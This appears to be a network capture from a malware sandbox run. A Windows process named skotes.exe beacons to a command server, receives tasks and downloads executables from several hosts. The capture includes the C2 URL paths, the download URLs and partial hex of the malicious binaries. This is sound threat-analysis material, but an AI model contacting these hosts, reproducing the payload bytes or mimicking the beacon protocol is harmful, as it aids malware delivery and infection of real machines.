Nov 23, 2024 05:03:08.052234888 CET	203	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:03:07 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	50101	185.215.113.43	80	6360	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 05:04:05.856203079 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 05:04:07.244657040 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 04:04:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	50109	185.215.113.43	80	6360	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 05:04:08.881216049 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 42 32 37 37 30 42 39 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78BB2770B95182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 23, 2024 05:04:10.427716970 CET	644	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 04:04:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 63 35 0d 0a 20 3c 63 3e 31 30 30 38 33 33 39 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 64 39 37 65 39 63 34 35 34 33 62 33 31 64 65 31 35 34 34 31 23 31 30 30 38 33 34 34 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 38 33 34 35 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 30 38 33 34 36 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 63 [TRUNCATED] Data Ascii: 1c5 <c>1008339001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbd97e9c4543b31de15441#1008344001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1008345001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1008346001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1008347001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	50113	31.41.244.11	80	6360	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 05:04:10.553884029 CET	54	OUT	GET /files/random.exe HTTP/1.1 Host: 31.41.244.11
Nov 23, 2024 05:04:11.984745979 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 04:04:11 GMT Content-Type: application/octet-stream Content-Length: 4411392 Last-Modified: Sat, 23 Nov 2024 03:09:05 GMT Connection: keep-alive ETag: "67414751-435000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 e9 85 3c 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 fc 49 00 00 96 73 00 00 32 00 00 00 70 c5 00 00 10 00 00 00 10 4a 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 a0 c5 00 00 04 00 00 57 31 44 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 00 71 00 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 74 5d c5 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 24 5d c5 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL<g(Is2pJ@W1D@ _qst]$] px'@.rsrc p'@.idata q'@ 8q'@snkouwyn'@vyybilms`*C@.taggant0p".C@
Nov 23, 2024 05:04:11.984828949 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 05:04:11.984843969 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 05:04:11.984858036 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 05:04:11.984945059 CET	1236	IN	Data Raw: da 9e e4 27 1c 09 dc 2c f7 f3 9c 16 3b e2 f1 4e 2f c8 f1 13 0f 0b dd a9 6a 54 5c ab 93 81 14 89 03 b6 36 a2 cd 46 0d 86 f8 ca 32 be 32 9e ea d0 00 81 cf 7f 63 0b 81 2d 95 ea 1d 6e e2 ea f5 ce 6d 90 a4 52 76 60 cf e8 bd ae ef 10 9b 08 91 b8 9f eb Data Ascii: ',;N/jT\6F22c-nmRv`A]c&/&lt`HJnKSCU66QlvJSi~kV\)?e$Uy.Nh}B4#]nn#+v/?b&J;MG4#k
Nov 23, 2024 05:04:11.984957933 CET	1236	IN	Data Raw: bd 78 13 ec 3b 34 22 ff 3a 93 88 50 d2 6e 64 f8 ee 30 ee eb 1f c1 58 69 4e 28 ba cb 30 4d ac 98 bb 3d c3 5d 8a 08 39 ed 86 c5 7c 97 8b 3d 4a 97 b7 a7 73 82 81 26 da 8c a8 87 92 70 c7 39 63 b2 f6 fc db 89 b7 5b f0 f6 84 9f 4c 8d e7 d5 f3 a8 19 a8 Data Ascii: x;4":Pnd0XiN(0M=]9\|=Js&p9c[L+;0{@QnI=T,soS4XLQi6Zs7:<myjVVl(f<ZhkUkjyvn*.z'r aH:_p$3gS934x
Nov 23, 2024 05:04:11.984972000 CET	1236	IN	Data Raw: 9a 8a b3 23 be 1b 07 17 d7 7e ff 56 a2 42 4d 17 f2 43 08 3c 35 fa 0f d3 41 ad 9b 56 45 03 69 7a 9a 0c 2e 2e bc 10 b5 e6 03 57 24 0a 28 2d da 53 65 5a 45 10 37 52 4d e4 09 0e dd 61 5e 42 c1 6b da 83 a4 b0 eb cb 81 18 26 d0 2d 27 da 00 89 f1 e9 f1 Data Ascii: #~VBMC<5AVEiz..W$(-SeZE7RMa^Bk&-'TTs']p$4]8BVV_ryNLx_U\FWO.Ag0sA:z<>\|K_lX-6GO)m\|9PRv2AQNprm~d
Nov 23, 2024 05:04:11.984986067 CET	1236	IN	Data Raw: 0e ae 69 ba 2b 98 ae 8e a7 16 74 88 b7 18 dc 65 9c cd ea 6d ba 7e 75 ac 39 ba a5 6a ff cd 5c 48 69 f9 1e 5a 29 a0 d7 3f c1 89 24 98 eb db 75 7b c3 73 84 60 31 09 5d 93 f5 f4 96 80 b3 11 a9 43 57 74 e3 7d 9a a6 86 95 a6 bb 3e ee 9b 1e a3 f7 df f7 Data Ascii: i+tem~u9j\HiZ)?$u{s`1]CWt}>?"lV=R7Y>HCb72-1>0WyF\|7`j]Im@JbfbV)!lFo"*{]p\|>Vg"d3{De92crJl[}.>&
Nov 23, 2024 05:04:11.985038996 CET	332	IN	Data Raw: bd 83 e5 a6 5c 21 10 39 f6 18 2a 5d d4 46 ea 90 eb 5d 79 83 d0 83 21 c5 57 c8 e1 0a d7 42 1b ce a7 98 a8 b9 04 1a 41 6b ce a8 33 10 bc 1f 8b e2 4e a3 5c d2 a6 62 51 71 9b 91 0a 8d 5f 04 4d 21 d7 6a d4 0a f1 28 96 bf ef ea aa 64 e3 97 9d d5 1c d5 Data Ascii: \!9*]F]y!WBAk3N\bQq_M!j(dlf5o86{_d/eFy=xnh,4%~cJIP=\<;[baMIs>2f>5dM`P#dytRg24EWeIo-UO{`
Nov 23, 2024 05:04:11.985050917 CET	1236	IN	Data Raw: 11 92 43 f5 37 ee 35 87 e0 08 4d bb bf 04 37 6f 58 57 3d 17 7f 85 8d ae 90 13 ed a7 e3 70 ce 5a 36 82 48 a5 09 12 79 c9 24 6e 34 a2 d9 d8 35 87 cd ab 24 51 70 21 1d 40 87 4a 1e 7a 25 f5 24 86 e4 ec 3e 9a 7f 71 c3 c9 e5 73 ff 28 0b 95 d7 a7 c4 1f Data Ascii: C75M7oXW=pZ6Hy$n45$Qp!@Jz%$>qs(z>by~$/8+6I1wk2<.f>kE5/-%c#f4AMJP!K[1Unsn] e'4`H
Nov 23, 2024 05:04:12.104692936 CET	1236	IN	Data Raw: 28 2c 0f 6b cf 04 f7 bc 5d 3a dd 1f 0a b4 b1 e6 49 2e 20 5a e9 48 01 a1 cd c0 19 ef 4a 56 52 ef 23 4a 5e 35 31 09 56 bf f7 21 e8 18 95 83 51 eb cf 22 d0 06 c2 23 1f 5c 94 b7 97 b4 4c a3 da cc b7 42 a4 a6 e6 15 dd 4a b8 9e 29 11 45 23 e1 90 a6 08 Data Ascii: (,k]:I. ZHJVR#J^51V!Q"#\LBJ)E#pY5!agY^Q[n}]S'\|JvCJJQG_v{F5jD6yO{#l>ClG\|a@WLMt<IDc.

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.6	50130	34.116.198.130	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 05:04:22.885159016 CET	87	OUT	GET /LCXOUUtXgrKhKDLYSbzW1732019347 HTTP/1.1 Host: home.fvtekk5pn.top Accept: /
Nov 23, 2024 05:04:24.321208954 CET	1236	IN	HTTP/1.1 200 OK server: nginx/1.22.1 date: Sat, 23 Nov 2024 04:04:24 GMT content-type: application/octet-stream content-length: 10815536 content-disposition: attachment; filename="36EpLiutqfXtaXMkXOTru;" last-modified: Tue, 19 Nov 2024 12:29:07 GMT cache-control: no-cache etag: "1732019347.4431374-10815536-3919321515" Data Raw: 9b 04 9e 1d e2 2a 68 73 fe d9 48 6f 2c 36 36 c8 a4 e4 ba e7 12 f9 22 5d 6f 07 aa d2 fb 8c a2 b3 95 1e b6 6c ff 92 32 40 41 97 30 99 34 26 c9 44 c2 1e 7f 22 13 cd 10 62 a7 32 f3 c2 5c 11 ed c0 71 4a 49 c7 9d 3e 95 07 3e 4a 0a 6f 63 4c 1a b8 b6 1a 3d 67 8e 9d ed 46 4c 04 61 0a c6 3c 7b 3a f6 0d 3f 30 0d 33 18 56 4c f0 76 7a 8b c7 a1 f1 75 64 d6 00 c3 e9 df 3a 1b 4f 35 50 64 a6 db 6b 23 6a aa e6 6c 33 a4 69 a7 80 16 e0 e4 49 7c d0 73 7d bf 61 a2 62 7a 62 8e 5b f4 4d a9 ba 05 ae 7f d8 0c 3c 1e 71 cb 84 47 32 b1 63 64 df 8e 7a 22 8c 8e 33 7d f1 20 f1 74 04 61 fd 18 55 10 be 45 7d f4 63 45 d4 d0 16 17 c4 c8 a6 7d 44 80 d2 ba e9 1a 17 37 63 43 e4 22 3e c5 e4 a4 16 51 4f 2d 57 23 3a 36 33 fa f3 c5 aa 04 00 79 5c 1f 43 8d f1 b2 56 df 86 17 bc df 28 44 b7 aa 85 64 2d 2f 94 0d a5 7c 18 37 92 cb 0d 76 40 2e 05 16 6a ce b1 8c 0a e3 7d 08 00 ce 6a ef d3 51 b9 3b 81 19 3c 3f 6c 3e 37 fe 3f d7 b3 7d 60 7e e2 b1 a4 1f 00 62 27 63 3d fd 4b 06 87 dc 8e 8e fa 56 9b bf 7a dc a3 07 20 e3 0b 1a f5 06 b1 0f 6d 27 af dd 1b [TRUNCATED] Data Ascii: hsHo,66"]ol2@A04&D"b2\qJI>>JocL=gFLa<{:?03VLvzud:O5Pdk#jl3iI\|s}abzb[M<qG2cdz"3} taUE}cE}D7cC">QO-W#:63y\CV(Dd-/\|7v@.j}jQ;<?l>7?}`~b'c=KVz m'3~\K ^m_F<4xrG/dz4?gv5,?^w@X^wZ1~7C+Z&dp`#9XgJC>e93VGh74x?x[3=YT.Qa `MG?_zGkB+(#8RUeY[x-$4`zAc`vmVlP+>tsd@>ydCHSnt+_`"FitXXD.}P #(4K<0b h;]6{bgEqvZ>4o]2?}#\|![L&!z";ZY<PPT9HC}M*65qs#ep%@LlGH)bj'7a: ;B3L0"
Nov 23, 2024 05:04:24.321269035 CET	1236	IN	Data Raw: b8 ff 32 30 58 cd 81 20 5f b7 4d f7 d5 77 53 0a 4f e7 60 83 ed 44 cc d0 f5 71 1e 4e 4f f8 01 9b 7d 28 47 50 fb 75 8d 8e 55 9f 9d c6 2b 06 24 6f 58 e4 80 8f e0 a2 b4 79 5d f7 cf 4a e0 fc b8 91 16 d1 c7 db 64 34 ea ff 9a 7a 67 99 a9 5e e5 15 9c c8 Data Ascii: 20X _MwSO`DqNO}(GPuU+$oXy]Jd4zg^h(>sNk=@nIEbcZ"~Q6]4AGc]>2+<X]2]CRq[Ya{YvF{m2*bg3\|8IBlm&
Nov 23, 2024 05:04:24.321306944 CET	1236	IN	Data Raw: 31 a0 27 b0 31 e8 22 a5 51 78 81 6b ea a9 43 84 11 c4 be 3a 3c 17 d0 63 57 c5 20 31 2f c5 f3 3d bf 67 df 7f 0a 0e 93 9c af 04 65 f3 af a9 d4 4f 98 e4 8e ec 3f 1b 0f e9 f3 b7 01 21 79 8f 56 8d ec 70 82 ac 4b 64 58 ce 90 f4 54 8d 94 fe aa 7b 06 b3 Data Ascii: 1'1"QxkC:<cW 1/=geO?!yVpKdXT{`6u}]dTlC%hU.\|zi<kGB5}mP=PNp?%G~e\|NSF{)OfI"&l6~/YLm#K>
Nov 23, 2024 05:04:24.321341038 CET	1236	IN	Data Raw: 52 23 c5 90 d5 ff 98 77 06 c3 aa 7f 85 27 36 0c 3d 95 5d f4 72 4e 81 4b 66 ae 6d 23 f3 44 c6 b9 51 f6 7b 5b 38 44 ca f3 b2 7c cf 81 a7 28 04 b5 36 b4 fb 4f 20 f4 f8 c4 28 41 7e c3 7e 89 b0 03 17 ce b1 07 49 cd b1 88 29 27 55 18 25 6f 10 b0 06 82 Data Ascii: R#w'6=]rNKfm#DQ{[8D\|(6O (A~~I)'U%o%.8]<4428@9]VGi&3'/SvepiD`)fhOOu;{ad=E/Z7h(}ZD0EZE_EP=5>J5B
Nov 23, 2024 05:04:24.321377993 CET	1236	IN	Data Raw: b4 45 24 ec 90 ce f6 4a 8d 7e de e4 f7 04 5c 67 ac 49 96 a0 e7 1e 40 e5 6a ed c8 51 ae 18 59 a3 63 5e 96 33 7e 7e d0 7f cd 58 b9 bc 51 ce 04 fd 4c a7 a2 7d 5c 30 c0 d4 4a 5f 97 df c2 80 8a 66 fd 5e 54 12 cd e9 3c 3d e5 9b 7f 7c 7e 3b 28 bf 33 eb Data Ascii: E$J~\gI@jQYc^3~~XQL}\0J_f^T<=\|~;(3w;b+NcHfD-O~sHC_a6&}}4cP9Ap&tTu:#?b)}St[I)~^TTPYT0cQY0>~a0(V
Nov 23, 2024 05:04:24.321412086 CET	1236	IN	Data Raw: 47 80 00 2b 25 42 aa bd a5 64 44 8a 14 d0 b4 84 86 fd 10 b5 76 4f dd 9c b8 72 9a 38 df c6 45 25 a8 59 77 29 fe 08 73 7d b0 d7 21 96 0b f1 48 b6 34 94 21 e6 4d e5 f5 dd c1 af 58 87 90 cd ab 11 5c 3a 8f e6 92 c1 8b d0 b4 82 68 92 ec 73 11 3e 2e e6 Data Ascii: G+%BdDvOr8E%Yw)s}!H4!MX\:hs>.6 HSrBa9A\|l=eru3Fw1A19=doudZ_fi$C\Ux<S;dfWQ&sdbn&"9*WNi4_@=}t
Nov 23, 2024 05:04:24.321450949 CET	1236	IN	Data Raw: 99 87 4e 61 83 9d 39 ec f4 40 68 7e 1e 63 fa ea d7 e1 14 8b c8 18 3c e7 78 64 68 08 a3 b5 ed e5 b1 05 f7 fe 2c 52 4b 95 f4 a1 cc 37 6e 61 9b 42 ff d7 4f d2 a5 15 9d 5a 02 57 82 82 64 1b d4 f9 5a 2c 92 89 97 9c b5 dd 98 68 aa 53 f2 26 53 33 f5 e5 Data Ascii: Na9@h~c<xdh,RK7naBOZWdZ,hS&S3FeoKSS9)v&Teke);q0\|~~A',E,NgkiQ.?9ne&6:Jj1?Z,0?>>DMi)VHumgAr]ec
Nov 23, 2024 05:04:24.321500063 CET	1236	IN	Data Raw: fe fe cf 52 24 89 fa 08 d7 42 32 e1 76 52 3a 74 b3 a1 8e 52 b7 c5 11 67 7b 1a 31 01 be 22 f7 43 6c 71 f3 94 c9 74 db 4c fb c9 e6 10 71 8b 2a 72 50 25 23 a4 fa 1d 1a 1f e8 6d 15 eb c5 65 c9 95 e7 a7 98 98 07 86 ea 57 01 77 e6 59 b1 be 1b 3e aa 85 Data Ascii: R$B2vR:tRg{1"ClqtLqrP%#meWwY>EiDHruh$xx{QUMS&2muD t%?- E&q2V(L}k(5uptr-:H7U7wweBKIOwo#L
Nov 23, 2024 05:04:24.321542978 CET	1236	IN	Data Raw: 34 fe 03 61 a1 16 44 0c d8 cc 48 d8 60 8f 64 db 74 c2 8f 91 85 90 3e 82 8c 35 ed 45 ba 2d f0 2b 69 bd e5 6c 32 6e 00 c7 2f 8b e2 80 22 b8 57 56 d5 8a ae 86 3e 81 b8 0b 20 69 ab 34 85 a8 b0 d8 36 65 a4 ee cc 4c c2 8e 0c ad 04 22 ae 7f 21 b0 07 ba Data Ascii: 4aDH`dt>5E-+il2n/"WV> i46eL"!^jRw{;+B0QgZ F^(}n^lX3dYCtP}q{jWix+@?e-{RPc-7c"fH`?o
Nov 23, 2024 05:04:24.321574926 CET	236	IN	Data Raw: fa ea 8e 3f ab 32 a5 c5 dc af 25 18 9a 7e b4 f4 ac 14 ad 82 1d e0 7b 64 d5 d8 92 5d ce ce 08 d0 95 dc 4b 29 1c 8a 55 e5 4c d7 9c 0d 80 4e d7 82 62 ca 54 4c 00 6d 56 34 54 2e c0 ea f8 e3 30 08 33 9d 9e d0 1d 0e d0 5e 42 f2 b4 70 b1 66 ed 7e 38 19 Data Ascii: ?2%~{d]K)ULNbTLmV4T.03^Bpf~8 >rc;~Cw>@{`dz#~J0RnF@o"w\|"s{Vh)?Rgbw9U-.GBlHHzp8(>KV&_Fk+j0!

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.6	49712	20.198.118.190	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:12 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 7a 46 5a 52 62 35 63 34 58 6b 75 76 51 33 64 54 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 37 38 35 62 63 37 63 39 65 39 38 38 62 64 36 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: zFZRb5c4XkuvQ3dT.1Context: 3785bc7c9e988bd6
2024-11-23 04:02:12 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-23 04:02:12 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 7a 46 5a 52 62 35 63 34 58 6b 75 76 51 33 64 54 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 37 38 35 62 63 37 63 39 65 39 38 38 62 64 36 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 59 62 46 66 49 61 38 42 37 7a 2f 45 70 43 53 31 4d 59 50 62 64 39 73 4c 36 37 54 6a 70 52 2f 41 78 6e 53 6d 50 56 4e 6e 32 68 59 35 73 54 6d 53 65 64 47 4c 35 6a 53 74 71 42 58 2f 34 74 42 73 42 67 78 4a 6e 74 57 59 64 57 39 43 76 53 38 76 44 37 76 55 48 69 78 72 4a 5a 2b 4f 4c 77 41 38 79 48 66 37 6b 5a 30 43 6e 2b 49 33 38 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: zFZRb5c4XkuvQ3dT.2Context: 3785bc7c9e988bd6<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAYbFfIa8B7z/EpCS1MYPbd9sL67TjpR/AxnSmPVNn2hY5sTmSedGL5jStqBX/4tBsBgxJntWYdW9CvS8vD7vUHixrJZ+OLwA8yHf7kZ0Cn+I38
2024-11-23 04:02:12 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 7a 46 5a 52 62 35 63 34 58 6b 75 76 51 33 64 54 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 37 38 35 62 63 37 63 39 65 39 38 38 62 64 36 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: zFZRb5c4XkuvQ3dT.3Context: 3785bc7c9e988bd6<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-11-23 04:02:13 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-11-23 04:02:13 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 4f 50 77 49 30 78 7a 4d 4d 6b 43 61 55 2f 35 65 73 51 45 48 68 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: OPwI0xzMMkCaU/5esQEHhg.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.6	49713	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:15 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 04:02:15 UTC	471	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:02:15 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Thu, 21 Nov 2024 12:25:08 GMT ETag: "0x8DD0A27899CAFB6" x-ms-request-id: cb7fa3cf-001e-000b-073d-3c15a7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T040215Z-15b8b599d889fz52hC1TEB59as00000002cg00000000924c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 04:02:15 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 